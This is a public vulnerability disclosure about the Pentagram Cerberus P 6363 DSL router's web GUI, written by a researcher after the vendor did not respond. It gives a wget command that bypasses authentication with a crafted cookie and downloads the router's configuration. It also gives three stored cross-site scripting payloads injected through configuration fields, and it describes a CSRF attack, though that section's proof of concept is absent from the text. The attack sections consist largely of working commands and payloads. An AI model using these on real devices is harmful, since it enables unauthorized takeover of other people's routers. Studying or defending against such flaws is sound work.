PENTAGRAM Cerberus P 6363 DSL Router Multiple Vulnerabilities
Found by condis
Vendor Site / Model: http://www.pentagram.pl/produkty/cerberus-p-6363
Firmware version: V5.07.28_PEN01
Software version: V3.0
1. Prolog
Cerberus P 6363 is simple SOHO class router. Its producer claims that it may act
as a 4 port switch and has an advanced firewall (...)
Device management is only possible through WWW GUI and because of that, GUI was
targeted and is subject of this raport.
2. Authentication Bypass (CWE-592)
This bug is really trivial. All we need to do is set up "special" cookie before
accessing GUI:
condis@pandorum:~$ wget http://192.168.1.100/cgi-bin/DownloadCfg/RouterCfm.cfg -t 1 -nv -O pento.cfg
2013-12-11 23:06:46 URL:http://192.168.1.100/login.asp [3663] -> "pento.cfg" [1]
condis@pandorum:~$ head -n 5 pento.cfg

<script type="text/javascript" src="lang/b28n.js"></script>
and now lets try some voodoo magic :x
condis@pandorum:~$ wget http://192.168.1.100/cgi-bin/DownloadCfg/RouterCfm.cfg -t 1 -nv -O pento.cfg --header="Cookie: admin:language=en"

3. Multiple Cross Site Scripting (CWE-79)
GUI has some simple function that filters out non-alphanumeric characters but it
is written in JavaScript, and as we all know, implementing protection only on
client-side is no protection at all.
One of attack methods would be to turn off JavaScript or write some simple scripts
(i.e.: using curl, wget, etc) that won't interpret JS code like web browser does.
Second method (which is preferred by me) is to make configuration backup; modify
it manually changing relevant variables/directives and then reupload it back to
the device.
3.1 Setting WI-FI Password
wl_wpa_psk=wifi_password";alert('XSS');//
This code will be executed on index page.
3.2 Setting URL Filtration
filter_url0=192.168.1.12-192.168.1.13:bar,0-6,0-0,on,foo");alert('XSS');//
If "filter_url_mode" is disabled, we must change it to "deny" or "pass". Code
injected here will be executed in Security Settings -> URL Filter Setting page.
3.3 Setting MAC Address Filtration
filter_mac0=DE:AD:DE:AD:DE:AD,0-6,0-0,on,gangbang');alert('xss');//
If "filter_mac_mode" variable is disabled, we must change it to "deny" or "pass".
Code injected here will be executed in Security Settings -> MAC Address Filter
Settings.
Probably there are more XSS flaws, but I stopped searching after those three...
4. Cross Site Request Forgery (CWE-352)
There is no mechanism preventing CSRF attacks by which it is possible to enforce
any operation on the logged administrator. Below there is simple proof of concept
which enables httpd to WAN (access from IP = 69.69.69.69) :

5. Epilogue
I tried to estalish a dialogue with vendor (07.12.2013) but they didn't respond
for five days (probably they don't give a fuck about security) so I decided to
publish all bugs.
Also, what's obvious there is no patch so best solution that I can think of now
is to stop using P 6363 and try other version. (P 6362 has different firmware
and at first glance it looked better).
